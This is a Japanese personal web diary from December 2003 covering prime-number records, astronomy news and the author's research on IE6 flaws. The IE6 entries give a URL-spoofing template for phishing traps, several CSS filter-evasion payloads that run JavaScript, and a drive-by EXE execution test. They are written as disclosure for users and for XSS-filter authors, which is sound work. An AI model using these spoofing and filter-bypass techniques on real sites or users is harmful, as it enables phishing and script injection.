2003年12月1日(月)
●メモ
Zetwork-Projectsさん、サイトリニューアル。(旧サークル名:Zetwork-Clients)
2003年12月2日(火)
●月齢8
撮影日:きょう。撮影時刻:17時50分頃。ロケ地:自宅(東京都東村山市)。
2003年12月3日(水)
●知られている最大の素数
11月18日の日記に書いた、11月17日に発見された知られている40番目のメルセンヌ素数の値が公表されました。値はM
20996011 = 2
20996011-1で、10進数で書くと12597689545033010502…で始まる6320430桁の数です。
2001年11月16日の日記以降に書いた知られている39番目のメルセンヌ素数M
13466917 = 2
13466917-1(4053946桁)の発見からおよそ2年で、知られている最大の素数の桁数が200万桁以上伸びたことになります。
Mersenne Prime Search(GIMPS)
40th Mersenne Prime Discovered→
@nifty翻訳
The Largest Known Primes(Chris K. Caldwellさん)
40th Mersenne Prime Announced(MathWorld News、12月2日)→
@nifty翻訳
Cooperative computing finds top prime number(ZDNet News、12月2日)→
@nifty翻訳
40th Mersenne Prime confirmation proves power of P2P(the INQUIRER、12月2日)→
@nifty翻訳
This number can't be left at the tone(The Washington Times、12月2日)→
@nifty翻訳
Largest prime number ever is found(New Scientist、12月3日)→
@nifty翻訳
●2757-1の素因数分解
知られている40番目のメルセンヌ素数の値が公表されたのと同じ日、メルセンヌ数M
757 = 2
757-1の素因数分解の結果が公表されました。残されていた213桁の合成数は79桁の素数と134桁の素数の積に分解されました。
2
757-1 = 9815263 · 561595591 · c213
c213 = p79 · p134
p79 =
5722137022002067824248227975095857749151312827809388406962346253182128916964593
p134 =
24033821640983508088736273403005965446689002356344332130565066643193813901119771090424269412054543072714914742665677774247325292327559
NFSNET
Factors of 2^757-1(NFSNET、12月2日)
関連
The Cunningham Project(Sam Wagstaff)
●#1000
@niftyが
ココログというサービスを無料で始めたのでX68000 Emulator in Java開発メモのページを作ってみるテスト。
●知られている最大の素数関連
史上最大のメルセンヌ素数、分散コンピューティングプロジェクトで発見(CNET Japan、12月3日)
「最大の素数」見つかる(ZDNN、12月3日)
2003年12月4日(木)
●素因数分解
数列
(19·10n-1)/9 = { 21, 211, 2111, 21111, 211111, ... } の素因数分解表を n≤150 まで伸ばしました。未分解の数が16個残っています。
Factorizations of near-repdigit numbers
2003年12月5日(金)
●Opera 7.23(日本語版)
セキュリティアップデート。
OPERA 7.23 for Windows (日本語版)(OPERA日本語サイト)
OPERA 7.23 for Linux (日本語版)(OPERA日本語サイト)
●メモ
Microsoftが
FATファイルシステムについてロイヤリティを徴収するという話。Human68kで採用されているFAT12や
FAT16で
VFAT方式の拡張を伴わない場合については既に特許の有効期限を過ぎているのではないかという意見もあるが、Microsoftのサイトにはそういった区別は明記されていない。
FAT File System Technology and Patent License(Microsoft、12月3日)
FAT File System: The Story Behind the Innovation(Microsoft、12月3日)
Microsoft、技術ライセンスでオープン路線推進(ZDNN、12月4日)
MSがライセンスする「ClearType」と「FAT」とは?(ZDNN、12月4日)
FATファイルシステムに特許料(スラッシュドット ジャパン、12月4日)
2003年12月6日(土)
●2003 XJ7
きょう地球に最接近する小惑星。地球からの距離は0.001AU(およそ15万km、月までの距離の半分以下)。
Asteroid (2003 XJ7)(NASA JPL NEO) … 軌道シミュレーション(Java)
2003年12月7日(日)
●夕暮れ
水の絨毯、雲の天井、消え行く夕日、そびえる富士山。
撮影日:きょう。撮影時刻:16時30分頃。ロケ地:狭山湖(埼玉県所沢市;富士山までの距離はおよそ80km)。
2003年12月8日(月)
●サンタバスター!
久しぶりのスクリーンショットは季節物ということで月刊電脳倶楽部115号(1997年12月号)より『サンタバスター!』です。市販のゲームもいくつか試してみたのですが、半分くらいが「とりあえず操作して遊べる」という状況です。音がまともに出るようになったら公開しようと思っていたのですが、煮詰まってしまったので、先に操作パネルを作っているところです。
2003年12月9日(火)
●火星探査機「のぞみ」関連
きょう9日が火星探査機「のぞみ」の火星周回軌道投入のタイムリミットとされています。きょうまでに通信系・熱制御系機能が復旧しなかった場合、「のぞみ」は火星を通り過ぎて太陽を回り続けることになります。その際、近火点の高度を上げるために軌道変更が行われます。
宇宙科学研究本部(JAXA)
火星探査機「のぞみ」最新情報(12月9日)
星が好きな人のための新着情報(Naohito Fukuharaさん)
2003年12月10日(水)
●火星探査機「のぞみ」
9日夜、JAXAは火星探査機「のぞみ」の不具合箇所が復旧しなかったため、「のぞみ」の火星周回軌道投入を断念し、近火点の高度を上げるための軌道変更を行ったことを発表しました。目的地を目前にしていただけにとても残念ですが、「望み」を捨てずに数々の試練を乗り越えてきた経験はきっと次のミッションで役立てられることでしょう。最後まで復旧のための努力を続けた関係者の方々に「お疲れ様でした」と言いたいです。
宇宙科学研究本部(JAXA)
火星探査機「のぞみ」最新情報(12月9日)
惑星探査機「のぞみ」、火星周回軌道への投入断念(asahi.com サイエンス、12月9日)
惑星探査機: 「のぞみ」を正式に断念 宇宙航空研究開発機構(Mainichi INTERACTIVE 社会、12月10日)
Japanese fail to salvage Mars mission(CNN.com Science&Space、12月9日)→
@nifty翻訳
追記
火星探査機「のぞみ」の火星周回軌道への投入断念について(JAXA、12月10日)
●RSA-576
174桁の合成数RSA-576がGNFSで87桁の素数2個の積に素因数分解されたとの情報。
RSA-576 =
188198812920607963838697239461650439807163563379417382700763356422988859715234665485319060606504743045317388011303396716199692321205734031879550656996221305168759307650257059<174> =
398075086424064937397125500550386491199064362342526708406385189575946388957261768583317
<87> *
472772146107435302536223071973048224632914695302097116459852171130520711256363590397527
<87>
Factorization Announcements(CryptoWorld)
http://www.crypto-world.com/announcements/rsa576.txt
The RSA Challenge Numbers(RSA Laboratories)
http://www.rsasecurity.com/rsalabs/challenges/factoring/RSA-576.txt
●IE6の危険な不具合(更新#2)
IE6には「実際に開くページのアドレスと異なるアドレスをアドレスバーに表示させることができる」という不具合があり、その方法が公表されています。PCへの侵入を許すセキュリティホールとは異なりますが、アドレスバーの内容を詐称することで訪問者を騙して個人情報などを盗む手口が考えられるので要注意です。
実験
下のハイパーリンクは「http://homepage2.nifty.com/m_kamada/」(STUDIO KAMADA)を開きながらアドレスバーに「http://www.google.co.jp/」(Google)を表示しようとします。
Google?
結果
Windows XP Home Edition SP1 + IE6 SP1(MS03-051までの「重要な更新」をすべて適用済み)
Windows 98 Second Edition + IE6 SP1(MS03-051までの「重要な更新」をすべて適用済み)
… アドレスバーの内容と実際に表示されるページが異なる。
対策
(0) 修正されるまでIEを使わない。
または
(1) IEで個人情報などを入力するとき、
既に目的のページが表示されているように見えるときは一旦IEを閉じて別のページを表示してから、目的のページのアドレスをアドレスバーに手動で入力して開く。
既に偽のページが表示されている状態でアドレスバーの内容を手動で入力しなおしてリターンキーを押しても正しいページに移らない場合がある。
または
(2) IEで個人情報などを入力するとき、「ファイル」→「プロパティ」の「アドレス(URL)」にアドレスバーの内容と異なる文字(ゴミ)が表示されていないか慎重に確認する。
参考
エンド・ユーザ向け ネットワーク・セキュリティ・ニュース(篠田さん)
Internet Explorer URL parsing vulnerability(Bugtraq、12月9日)
2004年2月3日追記
MS04-004で修正されました。
2003年12月11日(木)
●IE6の危険な不具合関連
IE6の危険な不具合について。
実験を更新しました。
対策(2)では本物と見分けがつかないようにする方法が存在したため、対策(2)を削除しました。
対策(1)に重要な注意事項を追記しました。
●IE6の危険な不具合の解説(更新)
今の時点でわかっていることの大雑把な解説です。用語はてきとうです。
IEのアドレスバーに表示されるアドレスは通常、
http://サーバ名[:ポート番号][/フォルダ名][/ファイル名]
のような構成になっていますが、認証が必要なサーバに自動でログオンしたいとき次のような書き方ができます。
http://[ユーザ名[:パスワード]@]サーバ名[:ポート番号][/フォルダ名][/ファイル名]
たとえば、本来のアドレスを「http://homepage2.nifty.com/m_kamada/」として、ユーザ名に「user」を指定するとき、アドレスは次のようになります。
http://user@homepage2.nifty.com/m_kamada/
ここで、ユーザ名の末尾に「」(コード1の文字)を挟むと、IE6はなぜかアドレスバーに「@」以降を表示しなくなり、アドレスバーの内容が「http://user」になってしまいます。
http://user@homepage2.nifty.com/m_kamada/
ところで、ユーザ名のところに実在するサーバ名を記入したらどうなるでしょうか。実在するサーバ名であろうとなかろうと「@」の手前はユーザ名として解釈されるので、例えばユーザ名が「www.google.co.jp」ならばアドレスバーの内容が「http://www.google.co.jp」になってしまいます。この結果、アドレスバーの内容と実際に開いているページが異なる(ように見える)状態ができます。
http://www.google.co.jp@homepage2.nifty.com/m_kamada/
さらに、「%00」も併用するとステータスバーやプロパティにも本来のアドレスが表示されなくなり、本物とほとんど見分けがつかなくなってしまいます。
http://www.google.co.jp%00@homepage2.nifty.com/m_kamada/
追記
「%2f」を使うとフォルダ名も偽装できます。同時にスクリプトを使ってステータスバーの表示を偽装することで、アクティブスクリプトが有効なときステータスバーとアドレスバーの表示の末尾の「/」の有無が異なる不自然さも隠すことができます(アクティブスクリプトが無効でもステータスバーの表示の末尾の「/」が欠落するだけで動作します)。これでもしも表示されるページが本物そっくりあれば、偽物であることに気付く人は少ないと思います。
http://www.google.com/intl/ja/
まとめ
IEが開くアドレスについて、
(1) ステータスバーやプロパティでは"%xx"がデコードされるので文字列の末尾を意味する"%00"以降が表示されない。
(2) アドレスバーには"\x01"以降が表示されない。
(3) ユーザ名の指定に対応しているので実際に開くアドレスは"@"以降。
などの条件から、
"http://[偽装アドレス]%00@[実際に開くアドレス]"
で本物とほとんど見分けのつかないトラップを作ることができる。
いわゆるセキュリティホールとは異なるが、かなり危険。
●IE6の危険な不具合関連
IEにサイトの偽装許すバグ? MSが調査中(ZDNet エンタープライズ、12月11日)
追加
IEにURLを偽装できるパッチ未公開の脆弱性が発見される(impress INTERNET Watch、12月11日)
Internet Explorerにオンライン詐欺を助長する新たな欠陥(CNET Japan、12月11日)
IEに新たなバグ -- 偽サイトが本物に見える恐れあり(CNET Japan、12月11日)
修正プログラムが公開されるよりも前に不具合の情報がBugtraqに流れたことについてMicrosoftが苦言を呈するのはもっともですが、不具合の存在をハッカーが知っていて一般ユーザがほとんど知らないという状態になることが最も危険なのですから、既に公開されてしまった情報については速やかにより多くのユーザに伝えて注意を促すことが必要だと思います。
●IE6の危険な不具合関連
上の解説を更新しました。
関連リンク
マイクロソフト Internet Explorer: アドレスバーに表示ページ以外の URL が表示されてしまう (危険度最大)(ネットワーク・セキュリティ・ニュース)(篠田さん)
Internet Explorer URL parsing vulnerability(bugtraq)(tessyの日記)(tessyさん)
tessyさんちを見て驚愕(%01でURL表示欄を偽装する)(hoshikuzu|stardustの書斎)(hoshikuzuさん)
Internet Explorer URL parsing vulnerability exploit(ヒビノキロク)(nozomさん)
IEにURLを偽装できるパッチ未公開の脆弱性が発見される (セキュリティホール memo)(小島さん)
追記
「ハイパーリンク上で右クリック→ショートカットのコピーを行ってからアドレスバーに貼り付ける」という手法でアドレスの異常を発見することができます。ただし、偽装の有無に関わらず貼り付けた後にリターンキーを押せば普通に左クリックした場合と同じ結果になってしまうので、アドレスの異常を見逃しがちなインターネット初心者がこの手法を機械的に覚えることはお勧めできません。
2003年12月12日(金)
●「アドレス確認」ボタン
現状ではIEは危険すぎるので、少なくとも「
IE6の危険な不具合」が修正されるまではIEを使って個人情報などを入力することは避けるべきです。
何らかの事情でやむを得ずIEで個人情報などを入力しなければならない場合にアドレスが偽装されたページに騙される危険を少しでも減らすために、アドレスバーの内容が本物かどうかを確認できる「アドレス確認」ボタンを作りました。表示されているページのアドレスの確認と、正しいアドレスのページへの移動に必要な手間を減らすことができます。
【お約束】
「アドレス確認」ボタンはアドレスバーの偽装を発見しやすくするためのものであって、偽装を阻止するものではありません。「アドレス確認」ボタンの動作に問題が発見された場合はできる限り速やかに修正します(修正できない場合は削除します)が、運用は各自の責任で行ってください。
「
IE6の危険な不具合」以外の方法でアドレスを偽装する方法が存在した場合には効果がない可能性があります。
【動作環境】
IE5.5以上。動作確認はWindows XP Home Edition SP1 + IE6 SP1で行いました。
ボタンを使うときだけでもアクティブスクリプトを有効にする必要があります。
【インストール方法】
下の「アドレス確認」ボタンをドラッグしてIEのツールバーの「リンク」の右側に放り込んでください。ツールバーに「リンク」が表示されていないときは「表示」→「ツールバー」→「リンク」のチェックを入れると表示されます。なお、「お気に入り」に放り込んでも動作します。
ボタンを放り込むとき、「追加しようとしているリンクは、安全でない可能性があります。続行しますか?」というセキュリティ警告ダイアログが出ます。「はい」をクリックして続行してください。
【使い方】
アドレスバーの内容が本物かどうか確認したいとき「アドレス確認」ボタンをクリックすると、表示されているページのアドレスを示したプロンプトが出ます。アドレスに問題がなければ(アドレスバーの内容と一致していれば)「キャンセル」をクリックしてください。プロンプトがアドレスバーを隠してしまっているときはプロンプトの位置をずらすことで確認できます。
アドレスバーの内容が偽装されている可能性があると、プロンプトが出る前に「このページのアドレスは偽装されている可能性があります。」というダイアログが表示されます。
アドレスに問題があるときは操作をやめて「誰がアドレスを偽装しようとしたのか」を確認するべきですが、プロンプトに正しいアドレス入力して操作を続行することもできます。不適切な部分を削除して「OK」をクリックすると正しいアドレスのページへ移動します。
移動に失敗する
ことはないと思いますが可能性があるので、正しいアドレスのページへ移動した後は
念のため必ず再び「アドレス確認」ボタンをクリックして正しいアドレスのページへ移動できたかどうか確認してください。
【アンインストール方法】
「アドレス確認」ボタンを右クリック→削除で削除できます。
●「アドレス確認」ボタンについて
【使い方】の最後の一文を修正しました。手の込んだ偽装工作をされると移動に失敗する可能性があるので、移動後に必ずアドレス確認を行ってください。
「このページのアドレスは偽装されている可能性があります。」というダイアログが出ないようにする偽装方法を発見された方は速やかにご連絡ください。
●IE6の危険な不具合関連
関連リンク
MSIE:URI偽装ができるバグ、の続報(沙耶16歳さん)
SayaWiki - URI偽装バグ(沙耶16歳さん)
2003年12月13日(土)
●らくがき
2003年12月14日(日)
●「成りすましたウェブサイトに騙されない方法について」(Microsoft)
Microsoftから「成りすましたウェブサイトに騙されない方法について」という記事が出ています。IEにおいてアドレスバー、ステータスバー、リンクのプロパティなどが偽装されている可能性があることについては直接言及せず、セキュリティ証明書を確認することを勧めているようです。最後のほうに「リンクについて少しでも気になる場合には…(中略)…あるいはリンクが正しいもの(legitimate)であることを確認してください」という記述がありますが、偽装されている可能性がある箇所を明記せずにどうやって確認しろと言うのでしょうか。リンクにポインタを重ねたときにステータスバーに表示されるアドレスやリンクのプロパティに表示されるアドレスが正しいことを「確認」して本物だと思い込んでしまう人が出てくることは容易に想像できますから、この部分はむしろ逆効果なのではないかとさえ思えてきます。
成りすましたウェブサイトに騙されない方法について(Microsoft Security、12月13日)
Caution: Avoid getting tricked by spoof websites(Microsoft Security、12月12日) … 原文
2003年12月15日(月)
●履歴を使う方法
「
IE6の危険な不具合」を悪用したアドレスバーの偽装を見破るためにIEの履歴を使うという方法がMicrosoftのサポート情報で紹介されていました。IE6で確認したところ使えそうなので書いておきます。
アドレスバーの偽装の有無を確認したいページが表示されている状態で、ツールバーの履歴ボタンをクリック(履歴ボタンが表示されていないときは「表示」→「エクスプローラバー」→「履歴」を選択)して、訪れたサイトの履歴を表示します。そこで履歴の表示方法を「日付順」または「サイト順」のいずれか現在選択されていないほうに切り替えると、現在表示されているページが選択状態になってその上の階層にサーバ名が表示されます(画面外にあるときはスクロールバーで履歴をスクロールさせると見つかります)。履歴に表示されたサーバ名とアドレスバーに表示されているサーバ名を比較することで、アドレスバーの偽装を見破ることができます。
参考
エンド・ユーザ向け ネットワーク・セキュリティ・ニュース(篠田さん)
833786 - Steps that you can take to help identify and to help protect yourself from deceptive (spoofed) Web sites(Microsoft Support、12月13日) … 原文
●スタイルシートのキーワードの省略形
hoshikuzuさんより、IE6のスタイルシートでは「@import の後ろ側の数文字が欠落しても、インポートしてしまう」ほか。スタイルシートの設定を認めている各種サービスにおいて、クロスサイトスクリプトをブロックするために「@import」を検出していてもその省略形を検出していなければスクリプトが通ってしまう可能性があります。
IEの新セキュリティーホールとはてなダイアリーXSS対策(hoshikuzu|stardustの書斎、12月15日)
ちょっと試しただけでも、「@font-face」→「@f」、「@media」→「@m」、「!important」→「!i」などが使えました。他にもいろいろありそうですね。「\x00以降の文字列がステータスバーに表示されない」などと同様に、これらの省略形が「意図された実装」によるものなのかそれとも「ルーズな実装」の結果なのかはよくわかりません。
|
<style type="text/css">
<!--
@f {
font-family: pie0;
src: url(http://www.microsoft.com/typography/web/embedding/demos/1/PIE0.eot);
}
@m screen {
span {
color: red!i;
font-family: pie0;
font-size: 400%;
}
}
-->
</style>
<span style="color:green">zzz</span>
|
2003年12月16日(火)
●スタイルシートのキーワードの省略形(続き)
IE6のスタイルシートで「@i」が「@import」の省略形として処理されていることは、スタイルシートオブジェクトを参照することで確認できます。
HTMLファイル
|
<style>
@i javascript:alert(document.styleSheets(0).cssText);
</style>
|
ダイアログの表示(Windows XP + IE6 SP1)
|
@import url( javascript:alert(document.styleSheets(0).cssText) );
|
この結果から、「@i」は「@import」に変換され、続く文字列は「url(〜)」や「"〜"」を省略してもアドレスとして認識されることがわかります。ダイアログが表示されたことで、アドレスのところに記述したスクリプトが実行されたことの確認にもなっています。
実験
上記のHTMLファイルを表示してみる
2003年12月17日(水)
●侵入実験
参考
ネットワーク・セキュリティ・ニュース(篠田さん)
Re: Several Things about IE bugs(Bugtraq)
実験の内容
11月29日の日記に書いた、放置されたままになっているIE6のセキュリティホールを使い、PCにプログラム(EXEファイル)をダウンロードおよび実行させることを試みます。
プログラムは「ietest22.exe」というタイトルで「侵入成功」と書かれた小さなダイアログを表示するだけの簡単なものです。
この実験で「侵入成功」のダイアログが表示されなくても侵入されない保証にはなりません。
動作環境
以下の環境で動作することを確認しました。
Windows XP Home Edition SP1 + IE6 SP1(MS03-051までの「重要な更新」をすべて適用済み)
Windows 98では動作しません。
動作条件
以下の条件が満たされているとマイコンピュータゾーンに侵入します。
(1) インターネットゾーンの「アクティブスクリプト」が有効になっている。
かつ、
(2) インターネットゾーンの「異なるドメイン間のサブフレームの移動」が有効になっている。
さらに以下の条件も満たされているとプログラムの実行に至ります。
(3) マイコンピュータゾーンの「未署名のActiveXコントロールのダウンロード」が有効になっている。
なお、インターネットオプションの詳細設定で「スクリプトエラーごとに通知を表示する」にチェックが入っていると途中でエラーが数回表示されます。
対策
上記の動作条件の(1)〜(2)が満たされないようにする必要があります。
(0) IEを使わない。
または、最新の修正プログラムを適用した上で、
(1) インターネットゾーンのセキュリティレベルを「高」にする、または、インターネットゾーンの「アクティブスクリプト」を無効にする。
または、
(2) インターネットゾーンの「異なるドメイン間のサブフレームの移動」を無効にする。
注意
「侵入成功」のダイアログが表示されるまでに30秒以上かかることがあります。
「侵入成功」のダイアログが表示されたときは、親ウインドウ→子ウインドウ→ダイアログの順にクローズしてください。ダイアログを先に閉じるとIEが固まってしまうことがあります。
プログラムの実行に成功したとき、IEXPLORE.EXEの残骸が残ってしまうことがあります。タスクマネージャで残骸の確認と削除を行ってください。
プログラムの実行に成功したとき、オブジェクトの残骸が残ってしまうことがあります。インターネットオプションの「インターネット一時ファイル」→「設定」→「オブジェクトの表示」で残骸の確認と削除を行ってください。プログラムファイルの項目が「11111111-1111-1111-1111-11〜」で始まっているもの(下位10桁は乱数)が残骸です。右クリック→「削除」で削除できます。間違って関係のないものを削除しないように注意してください。
実験
危険な実験です。上記の説明をすべて理解できた人でなければ実験を行わないほうがよいでしょう。
実験を行う
2004年2月3日追記
MS04-004で修正されました。
2003年12月18日(木)
●スタイルシートの区切り文字
IEの不思議な挙動(hoshikuzuさん)より。IE6はスタイルシートの「@import url("〜");」の構文において「import」と「url」の間の区切りが空白である必要はなく、キーワードに使用される英数字を除くありとあらゆる記号や制御コードの並びが区切りとして認識されてしまいます。特にセミコロンが「import」と「url」の間の区切りとして処理されてしまうことから、クロスサイトスクリプトをブロックするためのフィルタを作る人にとって大変都合の悪い実装であると言えます。なお、ハイフンとアンダーラインは前の「import」(またはその省略形)にくっついているとキーワードの一部と認識されるので区切り文字になりません。
HTMLファイル
|
<style>
@i ???(...);
url("javascript:alert(document.styleSheets(0).cssText)");
</style>
|
ダイアログの表示(Windows XP + IE6 SP1)
|
@import url( javascript:alert(document.styleSheets(0).cssText) );
|
実験
上記のHTMLファイルを表示してみる
HTMLファイル
|
<style>
<!--
@i ???(...);
-->
</>
url("javascript:alert(document.styleSheets(0).cssText)");
|
ダイアログの表示(Windows XP + IE6 SP1)
|
@import url( javascript:alert(document.styleSheets(0).cssText) );
|
実験
上記のHTMLファイルを表示してみる
追記(12/19)
2番目の実験は「IE6はエンプティエンドタグさえも単なる区切り文字として読み飛ばしてしまう」という深刻な問題を示しています。hoshikuzuさんによる解説を参照してください。
想像以上に破壊力があったIEの不思議な挙動(hoshikuzu|stardustの書斎)(hoshikuzuさん)
2003年12月19日(金)
●スピッツァー宇宙望遠鏡
NASAのスピッツァー宇宙望遠鏡(SIRTF)が捉えた最初の画像がきのうリリースされました。1990年に打ち上げられ1993年と1997年の改修を経て活躍を続けているハッブル宇宙望遠鏡(HST)(紫外線、可視光線、近赤外線)、1991年に打ち上げられ2000年に使命を終えたコンプトン・ガンマ線天文台衛星、1999年に打ち上げられたX線観測衛星チャンドラに続き、2003年8月25日に打ち上げられたスピッツァー宇宙望遠鏡(SIRTF)は赤外線の波長をカバーします。NASAのGreat Observatories計画の最後の衛星となるスピッツァー宇宙望遠鏡が稼動したことで、大気に遮られて地表まではほとんど届かない遠い天体が発するかすかな赤外線(遠い天体は遠ざかっているので、その光の波長は赤方偏移によって赤外線の波長に偏っている)を観測することが可能になり、今後の観測成果が期待されています。
Spitzer Space Telescope(カリフォルニア工科大学)
About Spitzer→
@nifty翻訳
About Spitzer: Great Observatories→
@nifty翻訳
Press Release: NASA Releases Dazzling Images from New Space Telescope(12月18日)→
@nifty翻訳 … プレスリリース
Visuals: NASA Releases Dazzling Images from New Space Telescope(12月18日)→
@nifty翻訳 … 画像
First images from Spitzer Space Telescope unveiled(Spaceflight Now、12月18日)→
@nifty翻訳
CNN.com - New orbiter takes out-of-sight pictures - Dec. 18, 2003(CNN.com Space、12月18日)→
@nifty翻訳
●「@import」の続き
IE6はスタイルシートで「@import url(〜);」の「url(〜)」の外側を「"〜"」または「'〜'」で括ってもインポートします。また、IE6は「\0\9\a\b\c\d\20」の他に「\a0\2000\2001\2002\2003\2004\2005\2006\2007\2008\2009\200a\200b\3000\feff」なども空白とみなします。例えば「\3000」は全角スペースそのものなので、「@import」の「@」の直前に全角スペースがあってもインポートが行われるほか、「url(〜)」とアドレスの間などを全角スペースで区切ってもインポートが行われることになります。
HTMLファイル
|
<style>
@Im'
\0\9\a\b\c\d\20\a0\2000\2001\2002\2003\2004\2005\2006\2007\2008\2009\200a\200b\3000\feff
url(
\0\9\a\b\c\d\20\a0\2000\2001\2002\2003\2004\2005\2006\2007\2008\2009\200a\200b\3000\feff
\'
\0\9\a\b\c\d\20\a0\2000\2001\2002\2003\2004\2005\2006\2007\2008\2009\200a\200b\3000\feff
javascript:alert(document.styleSheets(0).cssText);
\'
\0\9\a\b\c\d\20\a0\2000\2001\2002\2003\2004\2005\2006\2007\2008\2009\200a\200b\3000\feff
)
\0\9\a\b\c\d\20\a0\2000\2001\2002\2003\2004\2005\2006\2007\2008\2009\200a\200b\3000\feff
';
</style>
|
ダイアログの表示(Windows XP + IE6 SP1)
|
@import url( javascript:alert(document.styleSheets(0).cssText);
);
|
実験
上記のHTMLファイルを表示してみる
●「スタイルシートの区切り文字」の2番目の実験について
きのう書いた
スタイルシートの区切り文字の2番目の実験の意味するところをhoshikuzuさんが詳細に解説してくださっています。ありがとうございます。2番目の実験は「IE6はエンプティエンドタグさえも単なる区切り文字として読み飛ばしてしまう」という深刻な問題を示しています。hoshikuzuさんによる解説を参照してください。
想像以上に破壊力があったIEの不思議な挙動(hoshikuzu|stardustの書斎)(hoshikuzuさん)
●「<!--」の扱い
12/24 この項目は削除されました。
●属性名の途中に空白を混ぜる
IE6ではスタイルシートの属性名の途中に「\[空白]」または「\0[空白]」を混ぜると「\」から空白までが消滅して何も混ぜなかった場合と同じことになります。
「@import」の続きに書いたようにIE6では「\a0」(nbsp)や「\3000」(全角スペース)も空白と見なされるので、属性名の途中にnbspや全角スペースを混ぜることができます。
HTMLファイル
|
<style>
body { b\0 eh\0 avior: '\75\72\6c(blink.htc)'; }
</style>
|
blink.htc(背景を明滅させます)
|
<script>
level = 0;
setInterval(function () {
this.style.backgroundColor =
'#' +(0x1000000 + (level < 128 ? level : 255 - level)).toString(16).substr(1);
level = (level + 4) & 255;
}, 50);
</script>
|
実験
上記のHTMLファイルを表示してみる
(明滅する背景を長時間見つめないでください)
2003年12月20日(土)
●メモ
店舗移転
Zetwork-Projectsさんより、若松通商のPS/PLAZA WAKAMATSUが店舗を移転するとの情報。
お買い得価格情報(2003年12月19日)(impress AKIBA PC Hotline)
若松通商へようこそ
サイト移転
きたきたネット in Internet!(HashiMさん)
●2004年問題
UNIX系のプログラムの多くが1970年1月1日午前0時0分0秒からの経過秒数を32ビット符号付き整数で処理しているために1970年から68年後の2038年に経過秒数がオーバーフローしてプログラムが正常に機能しなくなってしまうというのが
2038年問題ですが、なぜか1ビット足りなくて1970年から34年後の2004年1月10日に日付の管理が破綻してしまうシステムが発見されたのだとか。ZDNetによると製品ライフサイクル管理アプリケーション専門メーカーのPTCのほとんどの製品が影響を受け、一部の製品についてパッチの配布が始まっているそうです。整数が1ビット足りないなんて、なんだか昔のLISPみたいですね。
2000年問題に似た不具合、PTC製ソフトに発見(ZDNet News、12月20日)
PTC - What Matters Most? Product First
●スピッツァー宇宙望遠鏡関連
赤外線宇宙望遠鏡「スピッツァー」による初画像(アストロアーツ 天文ニュース、12月20日)
2003年12月21日(日)
●<base href="javascript:">
IE6は<base>要素でjavascriptプロトコルを設定できます。これは<a>要素やスタイルシートの@importのアドレスの指定で「javascript:」を省略してスクリプトを記述できることを意味しています。<base>要素にスクリプトを記述しただけではスクリプトは実行されませんが、クロスサイトスクリプトをブロックするためには<base>要素で指定されたプロトコルもチェックする必要があります。
HTMLファイル
|
<html>
<head>
<base href="javascript:">
<style>
@import alert(document.styleSheets(0).imports(0).href);
</style>
</head>
<body>
<a href="alert%28location.href%29">location.href</a>
</body>
</html>
|
実験
上記のHTMLファイルを表示してみる
2003年12月22日(月)
●冬至に寒くなる話
かつてヘンリー8世の居城だったロンドン郊外のテムズ川沿いにあるハンプトン・コート宮殿(Hampton Court Palace)で、誰もいないはずの展示室から不気味な人影が出てくるところを監視カメラが捉え、「幽霊ではないか?」と話題になっているらしい。
'Ghost' caught on CCTV(femail.co.uk、12月19日)→
@nifty翻訳
http://www.femail.co.uk/img/pix3/hamptonghostL191203_450x350.jpg … 幽霊?の姿が写っている大きめの写真
英宮殿に「幽霊?」説、監視カメラが姿とらえる(CNN.co.jp こぼれ話、12月21日)
Palace 'ghost' caught on camera(CNN.com World、12月19日)→
@nifty翻訳
Is this ghost of Henry VIII?(The Sun Newspaper Online、12月19日)→
@nifty翻訳 … 詳しい
Palace 'ghost' caught on camera(CBBC Newsround UK、12月19日)→
@nifty翻訳 … 子供向け
Hampton Court 'ghost' on film(Telegraph、12月20日)→
@nifty翻訳 … 写真の明るさが調整されていて周囲の様子がわかりやすい
●@mediaに注意
IE6ではスタイルシートの@mediaの{〜}の内側に書かれた@importが機能します。@importの直後にコロンを書くことができるので、@mediaを認識しないフィルタは「@media { @import: "〜"; }」を「@media要素の@import属性にアドレスではない単なる文字列を設定している」と誤認してスクリプトを見逃してしまうかも知れません。下の例はこれまでに書いた「\0[空白]が消滅する」や「@importのアドレスはurl(〜)の内側と外側の2回"〜"で囲むことができる」などのトリックも組み合わせてあります。「"\22」の部分を「""」と同等に扱ってしまうフィルタはさらに混乱するかも知れません。
HTMLファイル
|
<style>
@\0
m {
@\0
i: "\22
j\0
avascript: alert(document.styleSheets(0).cssText)\22";
}
</style>
|
ダイアログの表示(Windows XP + IE6 SP1)
|
@import url( javascript: alert(document.styleSheets(0).cssText) );
|
実験
上記のHTMLファイルを表示してみる
●@mediaに注意(その2)
IE6のスタイルシートでは@mediaの「{」の直前に「{」「</style>」または閉じていない「"〜"」「'〜'」以外の何を書いても無視されてしまいます(@importの場合と同様にエンプティエンドタグ「</>」も無視されます)。下の例にある{〜}は@mediaに対応するものであって、body要素に対応するものではありません。
HTMLファイル
|
<style>
@media all;
@charset "shift_jis";
@import url(fake.css);
body {
@\import: "\22javascript:alert(document.styleSheets(0).cssText)\22";
}
</style>
|
ダイアログの表示(Windows XP + IE6 SP1)
|
@import url( javascript:alert(document.styleSheets(0).cssText) );
|
実験
上記のHTMLファイルを表示してみる
●@mediaに注意(その3)
IE6のスタイルシートの@mediaは多重化できます。下の例では「@mediaには省略形がある」「@mediaと「{」の間には何を書いても無視される」「「url(〜)」の「url」と「(」は繋がっていなくてもよい」などのトリックも使っています。
HTMLファイル
|
<style>
@m "冬";
.L1 {
@m "至";
.L2 {
@me "に";
.L3 {
@me "カ";
.L4 {
@med "ボ";
.L5 {
@med "チ";
.L6 {
@medi "ャ";
.L7 {
@medi "。";
.L8 {
@i: url ("javascript:alert(document.styleSheets(0).cssText)");
}
}
}
}
}
}
}
}
</style>
|
ダイアログの表示(Windows XP + IE6 SP1)
|
@import url( javascript:alert(document.styleSheets(0).cssText) );
|
実験
上記のHTMLファイルを表示してみる
●@mediaに注意(その4)
@mediaに注意(その2)の応用です。IE6のスタイルシートでは@mediaの「{」の直前に何を書いても無視されてしまいますが、「英数字さえも無視されてしまう」という点で@importよりも危険です。下の例はstyle要素の終了タグが欠落しており、Opera 7.23などでは「style要素の終了タグが見つからないときは開始タグがなかったことにする」のでbody要素の内容が表示されますが、IE6は「style要素の終了タグが見つからないと最後までスタイルシートだと思い込む」ためにbody要素に書いたスクリプトが実行されてしまいます。
HTMLファイル
|
<html>
<head>
<style>
<!--
@m;
-->
</head>
<body>
{ @i:"javascript:alert(1)"; }
</body>
</html>
|
